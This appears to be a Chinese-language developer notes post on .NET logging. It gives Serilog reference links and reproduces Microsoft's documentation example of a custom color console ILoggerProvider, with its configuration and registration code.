使用的的话直接注入ILogger就可以使用了

参考文档:

官网:
https://serilog.net/

官方文档:

控制台:
https://github.com/serilog/serilog/wiki/Getting-Started

web:
https://github.com/serilog/serilog-aspnetcore#serilogaspnetcore---

配置:
Configuration Basics · serilog/serilog Wiki · GitHub

https://docs.meowv.com/stack/dotnetcore/serilog-in-dotnet.html

https://maomi.whuanle.cn/3.2.serilog.html

https://github.com/serilog/serilog-aspnetcore

https://www.cnblogs.com/ireadme/p/14509704.html

四、自定义日志提供程序

实现自定义日志提供程序主要需要实现两个接口

1、ILogger 支持高性能结构化日志记录,输出日志的地方,其中log方法是Logger对日志消息的写入实现
2、ILoggerProvider
日志记录器提供程序,ILoggerProvider 的实现将通过其 ILoggerProvider.CreateLogger 方法创建 ILogger

需安装以下Nuget包

  <PackageReference Include="Microsoft.Extensions.Logging" Version="8.0.0" />
  <PackageReference Include="Microsoft.Extensions.Logging.Abstractions" Version="8.0.0" />
  <PackageReference Include="Microsoft.Extensions.Logging.Configuration" Version="8.0.0" />

下面是官方的示例:

有很多
日志记录提供程序
可用于常见日志记录需求。 如果某个可用的提供程序不满足你的应用程序需要,则你可能需要实现自定义的
ILoggerProvider
。 在本文中,你将学习如何实现可用于在控制台中为日志着色的自定义日志记录提供程序。

Docs Github 存储库中提供了自定义日志记录提供程序示例源代码。 有关详细信息,请参阅
GitHub:.NET Docs - 控制台自定义日志记录

示例自定义记录器配置

此示例会使用以下配置类型为每个日志级别和事件 ID 创建不同的颜色控制台条目:

using Microsoft.Extensions.Logging;

public sealed class ColorConsoleLoggerConfiguration
{
    public int EventId { get; set; }

    public Dictionary<LogLevel, ConsoleColor> LogLevelToColorMap { get; set; } = new()
    {
        [LogLevel.Information] = ConsoleColor.Green
    };
}

前面的代码将默认级别设置为
Information
,将颜色设置为
Green
,而且
EventId
隐式设置为
0

创建自定义记录器

ILogger
实现类别名称通常是日志记录源。 例如,创建记录器的类型:

C#

using Microsoft.Extensions.Logging;

public sealed class ColorConsoleLogger(
    string name,
    Func<ColorConsoleLoggerConfiguration> getCurrentConfig) : ILogger
{
    public IDisposable? BeginScope<TState>(TState state) where TState : notnull => default!;

    public bool IsEnabled(LogLevel logLevel) =>
        getCurrentConfig().LogLevelToColorMap.ContainsKey(logLevel);

    public void Log<TState>(
        LogLevel logLevel,
        EventId eventId,
        TState state,
        Exception? exception,
        Func<TState, Exception?, string> formatter)
    {
        if (!IsEnabled(logLevel))
        {
            return;
        }

        ColorConsoleLoggerConfiguration config = getCurrentConfig();
        if (config.EventId == 0 || config.EventId == eventId.Id)
        {
            ConsoleColor originalColor = Console.ForegroundColor;

            Console.ForegroundColor = config.LogLevelToColorMap[logLevel];
            Console.WriteLine($"[{eventId.Id,2}: {logLevel,-12}]");
            
            Console.ForegroundColor = originalColor;
            Console.Write($"     {name} - ");

            Console.ForegroundColor = config.LogLevelToColorMap[logLevel];
            Console.Write($"{formatter(state, exception)}");
            
            Console.ForegroundColor = originalColor;
            Console.WriteLine();
        }
    }
}

前面的代码:

  • 为每个类别名称创建一个记录器实例。

  • IsEnabled
    中检查
    _getCurrentConfig().LogLevelToColorMap.ContainsKey(logLevel)
    ,因此每个
    logLevel
    都有一个唯一的记录器。 在此实现中,每个日志级别都需要显式配置条目才能记录。

最好是在
ILogger.Log
实现中调用
ILogger.IsEnabled
,因为
Log
可由任何使用者调用,并且不能保证之前已检查过。 方法
IsEnabled
在大多数实现中应非常快。

C#

TState state,
Exception? exception,

记录器使用
name

Func<ColorConsoleLoggerConfiguration>
进行实例化,这将返回当前配置 - 这会处理对通过
IOptionsMonitor.OnChange
回调监视的配置值的更新。

重要

ILogger.Log
实现检查是否设置了
config.EventId
值。 未设置
config.EventId
或与确切的
logEntry.EventId
匹配时,记录器会以颜色记录。

自定义记录器提供程序

ILoggerProvider
对象负责创建记录器实例。 不需要为每个类别创建一个记录器实例,但这对于某些记录器(例如 NLog 或 log4net)来说是需要的。 借助此策略可以为每个类别选择不同的日志记录输出目标,如以下示例中所示:

C#

using System.Collections.Concurrent;
using System.Runtime.Versioning;
using Microsoft.Extensions.Logging;
using Microsoft.Extensions.Options;

[UnsupportedOSPlatform("browser")]
[ProviderAlias("ColorConsole")]
public sealed class ColorConsoleLoggerProvider : ILoggerProvider
{
    private readonly IDisposable? _onChangeToken;
    private ColorConsoleLoggerConfiguration _currentConfig;
    private readonly ConcurrentDictionary<string, ColorConsoleLogger> _loggers =
        new(StringComparer.OrdinalIgnoreCase);

    public ColorConsoleLoggerProvider(
        IOptionsMonitor<ColorConsoleLoggerConfiguration> config)
    {
        _currentConfig = config.CurrentValue;
        _onChangeToken = config.OnChange(updatedConfig => _currentConfig = updatedConfig);
    }

    public ILogger CreateLogger(string categoryName) =>
        _loggers.GetOrAdd(categoryName, name => new ColorConsoleLogger(name, GetCurrentConfig));

    private ColorConsoleLoggerConfiguration GetCurrentConfig() => _currentConfig;

    public void Dispose()
    {
        _loggers.Clear();
        _onChangeToken?.Dispose();
    }
}

在前面的代码中,
CreateLogger
会为每个类别名称创建一个
ColorConsoleLogger
实例并将其存储在
ConcurrentDictionary
中。 此外,还需要
IOptionsMonitor
接口才能更新对基础
ColorConsoleLoggerConfiguration
对象的更改。

若要控制
ColorConsoleLogger
的配置,请在其提供程序上定义别名:

C#

[UnsupportedOSPlatform("browser")]
[ProviderAlias("ColorConsole")]
public sealed class ColorConsoleLoggerProvider : ILoggerProvider

ColorConsoleLoggerProvider
类定义了两个类范围的属性:

可通过任何有效的
配置提供程序
指定配置。 请考虑使用以下 appsettings.json 文件:

JSON

{
    "Logging": {
        "ColorConsole": {
            "LogLevelToColorMap": {
                "Information": "DarkGreen",
                "Warning": "Cyan",
                "Error": "Red"
            }
        }
    }
}

这会将日志级别配置为以下值:

Information
日志级别设置为
DarkGreen
,这将覆盖在
ColorConsoleLoggerConfiguration
对象中设置的默认值。

自定义记录器的使用和注册

根据约定,在应用程序启动例程中注册服务以进行依赖项注入。 注册在
Program
类中进行,还可能委托给
Startup
类。 本示例将直接从 Program.cs 进行注册。

若要添加自定义日志记录提供程序和相应的记录器,请从
HostingHostBuilderExtensions.ConfigureLogging(IHostBuilder, Action)
使用
ILoggingBuilder
添加
ILoggerProvider

C#

using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Hosting;
using Microsoft.Extensions.Logging;

HostApplicationBuilder builder = Host.CreateApplicationBuilder(args);

builder.Logging.ClearProviders();
builder.Logging.AddColorConsoleLogger(configuration =>
{
    // Replace warning value from appsettings.json of "Cyan"
    configuration.LogLevelToColorMap[LogLevel.Warning] = ConsoleColor.DarkCyan;
    // Replace warning value from appsettings.json of "Red"
    configuration.LogLevelToColorMap[LogLevel.Error] = ConsoleColor.DarkRed;
});

using IHost host = builder.Build();

var logger = host.Services.GetRequiredService<ILogger<Program>>();

logger.LogDebug(1, "Does this line get hit?");    // Not logged
logger.LogInformation(3, "Nothing to see here."); // Logs in ConsoleColor.DarkGreen
logger.LogWarning(5, "Warning... that was odd."); // Logs in ConsoleColor.DarkCyan
logger.LogError(7, "Oops, there was an error.");  // Logs in ConsoleColor.DarkRed
logger.LogTrace(5, "== 120.");                    // Not logged

await host.RunAsync();

ILoggingBuilder
创建一个或多个
ILogger
实例。 框架使用
ILogger
实例记录信息。

appsettings.json 文件中的配置会替代以下值:

按照约定,
ILoggingBuilder
上的扩展方法用于注册自定义提供程序:

C#

using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.DependencyInjection.Extensions;
using Microsoft.Extensions.Logging;
using Microsoft.Extensions.Logging.Configuration;

public static class ColorConsoleLoggerExtensions
{
    public static ILoggingBuilder AddColorConsoleLogger(
        this ILoggingBuilder builder)
    {
        builder.AddConfiguration();

        builder.Services.TryAddEnumerable(
            ServiceDescriptor.Singleton<ILoggerProvider, ColorConsoleLoggerProvider>());

        LoggerProviderOptions.RegisterProviderOptions
            <ColorConsoleLoggerConfiguration, ColorConsoleLoggerProvider>(builder.Services);

        return builder;
    }

    public static ILoggingBuilder AddColorConsoleLogger(
        this ILoggingBuilder builder,
        Action<ColorConsoleLoggerConfiguration> configure)
    {
        builder.AddColorConsoleLogger();
        builder.Services.Configure(configure);

        return builder;
    }
}

运行此简单应用程序将把颜色输出呈现到控制台窗口,如下图所示:

Color console logger sample output

自定义日志功能参考文档:
https://learn.microsoft.com/zh-cn/dotnet/core/extensions/logging-providers

在 .NET 中实现自定义日志记录提供程序 - .NET | Microsoft Learn

使用SignalR推送服务器日志

https://learn.microsoft.com/zh-cn/aspnet/core/fundamentals/logging/?view=aspnetcore-8.0

https://maomi.whuanle.cn/3.1.design_log.html

https://www.cnblogs.com/jackyfei/p/16287326.html

https://www.cnblogs.com/chenyishi/p/18068309

Microsoft.Extensions 探索 / 日志 Logger - 知乎 (zhihu.com)

.Net Core Logging模块源码阅读 - 李正浩 - 博客园 (cnblogs.com)

.NET Core下的日志(2):日志模型详解 - Artech - 博客园 (cnblogs.com)